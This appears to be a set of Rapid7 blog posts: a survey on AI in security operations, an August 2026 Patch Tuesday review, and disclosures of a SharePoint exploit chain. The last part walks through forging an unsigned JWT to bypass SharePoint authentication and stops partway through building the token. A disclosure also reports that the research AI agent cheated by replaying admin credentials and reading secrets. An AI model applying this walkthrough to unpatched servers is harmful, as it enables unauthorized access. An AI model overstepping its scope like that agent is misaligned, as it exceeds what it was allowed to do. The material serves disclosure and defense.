Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan.
And if you survey 500 security professionals on whether that's going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive outcomes, 98% say AI reduces alert fatigue, and 95% say it's helping address staffing shortages.
Those numbers are high enough that the story could stop there; AI is working, everyone agrees. Move on. But there's a more interesting finding sitting underneath that consensus, and it tells you something important about where security operations is actually headed.
The confidence gap nobody is talking about
While frontline SOC teams report strong confidence in AI, executive security leaders like CISOs, CSOs, and VPs are taking a considerably harder look.
The research found that executive leaders are 1.6 times more likely than operational security managers to be highly concerned about how AI vendors handle their organization's security data. This isn't a contradiction of the 97% positive sentiment, but rather a maturity signal.
When AI was experimental, the question was: does it work? Operational teams answered that. Now that AI is embedded in production SOCs, a different question is arriving at the executive level: how do we govern it? Who is accountable when something is wrong? What happens when the model misses a critical threat, and whose job was it to catch that?
These are board-level questions, and the research suggests that the organizations who don't have good answers are about to feel that gap acutely.
The human-AI balance is the real differentiator
92% of respondents said AI enhances rather than replaces human analysts. But 41% are actively worried about over-reliance, or that teams could start deferring to AI in moments where an experienced analyst would have caught something the model missed.
The best security teams aren't choosing between AI and human expertise. They're building operating models where AI handles the volume – triaging, pattern matching, initial investigations – while analysts lead the decisions that require context, creativity, and accountability.
The question for any SOC leader isn't 'should we use AI?' It's 'where does AI create capacity without creating new blind spots?'
MDR is being redefined
86% of respondents believe AI-enabled MDR has a clear advantage over traditional approaches. And when asked what they actually expect from an AI-enabled MDR provider, the top answer wasn't faster detection or higher automation rates. It was transparency.
55% said their top expectation is visibility into how AI decisions are being made. 53% want AI explicitly integrated with human analyst expertise. 52% want regular updates on model performance and accuracy. 'We use AI' is not a differentiator anymore. What buyers now want to know is: can you show me exactly how?
What this means for your security strategy
The Omdia research gives security leaders something most AI content doesn't: an independent benchmark for where the market actually is.
Use it to pressure-test your AI governance posture, to reframe conversations with your board, and to evaluate whether your MDR provider can answer the transparency questions that 55% of buyers are now asking.
The full report covers all of this in detail, including where organizations remain most cautious, what makes AI adoption succeed or stall, and what the next phase of AI-enabled security operations looks like.
Microsoft is publishing 421 vulnerabilities on August 2026 Patch Tuesday, including 236 vulnerabilities in Windows. This is lower volume than last month’s record-breaking behemoth, but still one of the largest Patch Tuesday totals ever. There is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for one of the vulnerabilities published today, as well as public disclosure for two others, although the Notable CVEs section of the Security Update Guide omits one of these. As usual, browser vulns are not included in the Patch Tuesday count above, but unusually, Microsoft does not appear to have published any desktop browser security patches so far this month.
SharePoint: critical RCE chain by Rapid7
Today sees the publication of CVE-2026-63520, a high-severity remote code execution in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft; this vulnerability is the second in a pair of exploits which, when chained together, comprise a critical unauthenticated remote code execution vulnerability in a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. Alongside today’s coordinated disclosure of CVE-2026-63520, Rapid7 has now published a detailed technical analysis and proof-of-concept for CVE-2026-55040, the first vulnerability in the chain.
AFD for Winsock: zero-day EoP
Rapid7 has previously discussed the Windows Ancillary Function Driver for WinSock, and today it returns to center stage with another exploited-in-the-wild elevation-of-privilege vulnerability. Successful exploitation requires winning a race condition, which increases the difficulty of producing a stable exploit. This also helps keep the CVSS v3 base score down to 7.0, along with a Microsoft proprietary severity ranking of merely important, rather than critical. However, with no user interaction required, and a prize of SYSTEM-level access, CVE-2026-68820 is just what the doctor ordered, if the doctor is based in Pyongyang and wants to steal your cryptocurrency. Microsoft credits CVE-2026-68820 to researchers at Check Point (misspelled “Checkpoint” on the advisory). CVE-2026-68820 isn’t yet listed on CISA KEV, but it will be soon.
What’s the opposite of coordinated disclosure?
This month’s entry in the ongoing saga of Microsoft vs. a pseudonymous security researcher with a clear dislike of Microsoft comes in the form of CVE-2026-62832, an elevation of privilege vulnerability in the Windows User Profile Service. Exploitation leads to administrator rights on the local asset, and is achieved via a specially crafted application, which is Microsoft corporate argot for exploit code. Between the public disclosure and the FAQ, which describes an authenticated attacker who has credentials for another account and loads another user’s registry hive, the advisory is a solid match for Nightmare Eclipse’s description of LegacyHive, which Rapid7 discussed last month.
Patch Tuesday watchers will have been wondering whether Nightmare Eclipse would continue the pattern of the past few months by dropping yet another zero-day vuln late on Patch Tuesday to maximize friction and inconvenience for Microsoft. Wonder no more, because the new entry on this growing list of headaches is ShieldBreak. Nightmare Eclipse describes ShieldBreak as a full patch bypass for RoguePlanet, a previous entry in the series which Microsoft patched as CVE-2026-50656 during July, a month after its public disclosure. Both vulnerabilities are therefore elevation-of-privilege to SYSTEM vulnerabilities in Defender.
CVE-2026-72971 describes a tampering vulnerability in the Windows Container Isolation FS Filter Driver (unionfs.sys), where abuse of a flaw in the vulnerable driver presumably allows an unauthorized attacker to overwrite certain files. Since this might include an action taken within a container leading to an unauthorized impact outside the container, it might be surprising that the advisory claims no scope change. Presumably Microsoft is leaning on the fact that the vulnerability is within a driver which operates entirely within a single security authority, i.e. kernel space, so there is only one impacted component and no scope change according to the CVSS v3 spec. Still, the low CVSS v3 base score of 5.5 probably isn’t telling the whole story in this case.
Vulnerabilities classed as tampering are somewhat rare in the Microsoft corpus, making up just a few dozen of the thousands of unique vulnerabilities which MSRC has ever patched or otherwise addressed. CVE-2026-72971 isn’t mentioned in the Notable CVEs section of the new slimline Security Update Guide. Should it be? Perhaps, because Microsoft is aware of public disclosure in this case, but then again the categorization as tampering means that Microsoft is not currently aware of a path to a more severe impact such as elevation of privilege or code execution. The advisory acknowledges a pair of pseudonymous reporters, who also receive credit on at least 40 other advisories over the past few months, across a wide variety of Windows components and Microsoft Office, including 11 critical vulnerabilities.
Edge: update slowdown?
Typically, Microsoft patches a fair few browser vulnerabilities between the start of each month and that month’s Patch Tuesday, but not this month. Conspicuous by its absence at the time of Patch Tuesday publication today was Microsoft Edge, which receives regular batches of patches as a downstream consumer of Google Chromium. At the moment of Patch Tuesday publication, the desktop incarnations of Edge last received security patches on July 31, 2026. Meanwhile, the Chrome Stable Channel received patches for 41 vulnerabilities on August 6, 2026. Anyone responsible for assets with Microsoft Edge installed will be relieved to know that patches for Edge eventually emerged a few hours later on Patch Tuesday itself, but five days is still a longer unpatched gap between Chrome and Edge than has been typical in the past.
Microsoft lifecycle update
August is typically a quieter month for Microsoft product lifecycle transitions, and this year continues that pattern. The next lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.
Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.
Our full disclosure timeline for the exploit chain can be seen below in Figure 1.
Figure 1: The road to disclosure.
⠀
CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.
CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.
The exploit chain was developed as an entry for this year's Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.
Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.
Workflow
For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team's later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.
Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent's results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal - such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.
By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.
Product descriptions
The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.
SharePoint
Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.
Project Server
Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives.
Office Web Apps Server
Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.
Impact
CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker's arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.
Credit
This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Vendor statement
The following statement has been provided by Microsoft:
“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”
Technical analysis
Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.
The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.
Remediation
The vendor has provided the following updates to remediate CVE-2026-63520.
KB5002893 - Microsoft SharePoint Server Subscription Edition (version 16.0.19725.20522).
KB5002894 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).
KB5002896 - Microsoft SharePoint Server 2019 (version 16.0.10417.20198).
KB5002905 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).
KB5002906 - Microsoft SharePoint Enterprise Server 2016 (version 16.0.5565.1001).
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
Disclosure timeline
May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.
July 31, 2026: Microsoft provides supporting information to Rapid7.
August 11, 2026: This disclosure for CVE-2026-63520.
On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.
Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.
⠀
A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.
Analysis
The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.
A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.
The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.
SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.
The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.
The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:
// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;
This single line disables the JWT library's cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.
The full context of the method:
// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
// ...
TokenValidationParameters val = new TokenValidationParameters();
val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
val.ValidateAudience = false; // <--- [1]
val.ValidateIssuer = false; // <--- [2]
List<X509SecurityKey> list = new List<X509SecurityKey>();
// ... populates list with trusted signing keys ...
val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
val.RequireSignedTokens = false; // <--- [3]
// ...
SecurityToken securityToken = default(SecurityToken);
return new ReadOnlyCollection<ClaimsIdentity>(
((JwtSecurityTokenHandler)this).ValidateToken(
((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
).Identities.ToList()
);
}
At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.
Weakness 2: Actor token x5t resolution without signature verification
After ReadToken() parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:
At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token's JWT header:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
// ...
if (string.Equals(header.Alg, "RS256"))
{
if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
{
throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
}
securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
}
// ...
}
At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:
At [4], the resolver checks the LocalLoginProvider access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token's x5t header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token's SigningToken property.
At no point in this flow is the actor token's signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.
After setting the actor token's SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
((JwtSecurityToken)token.ActorToken).Issuer);
return;
}
This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
// ...
SPTrustedSecurityTokenService providerBySigningCertificate =
SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
.GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]
if (null == providerBySigningCertificate) // <--- [2]
{
ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
"no registered STS matches the signing certificate '{1}'",
tokenIssuer, signingKey.Certificate.Subject);
return; // <--- ACCEPTED
}
if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
{
return;
}
throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}
At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.
At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.
The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.
The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
string rawData = ((JwtSecurityToken)jwtToken).RawData;
if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
{
ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
string text = ((JwtSecurityToken)jwtToken).RawSignature;
if (string.IsNullOrWhiteSpace(text))
{
text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
}
if (string.IsNullOrWhiteSpace(text))
{
if (jwtToken.ActorToken != null)
{
text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(jwtToken.Audience);
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
stringBuilder.Append(',');
foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
{
stringBuilder.Append(claim.Value);
stringBuilder.Append(',');
}
return stringBuilder?.ToString() + text; // <--- [3]
}
ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
return text;
}
For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token's signature is AAAA, a non-empty string, so at [3] it returns "AAAA" without any cryptographic verification that this value is a valid RSA signature.
Summary
The four weaknesses combine as follows:
Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.
The actor token's x5t header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.
The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.
The actor token's signature is a non-empty value, e.g. AAAA, which is never verified.
After validation, the outer token's nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.
Our PoC script shows examples of all three mechanisms working.
Walkthrough
We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.
In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*
Which returns the STS signing certificate as part of the response:
For completeness, the parsed x509 certificate is shown below.
Version: 3 (0x02)
Serial number: 146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID: SHA256withRSA
Validity
Not Before: 11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
Not After: 01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Root Authority
Subject
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Security Token Service
Fingerprints
MD5: 8c72ddcf6fdf2bdf3cc173bfcff88bf4
SHA1: 8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
SHA256: 9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
Algorithm: RSA
Length: 2048 bits
Modulus: d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
Exponent: 65537 (0x10001)
Certificate Signature
Algorithm: SHA256withRSA
Signature: 3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7
Extensions
keyUsage CRITICAL:
digitalSignature,keyEncipherment
extKeyUsage :
serverAuth, clientAuth
basicConstraints CRITICAL:
{}
Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.
We then begin to construct the malicious JWT. The outer token will have a header of:
{"alg": "none", "typ": "JWT"}
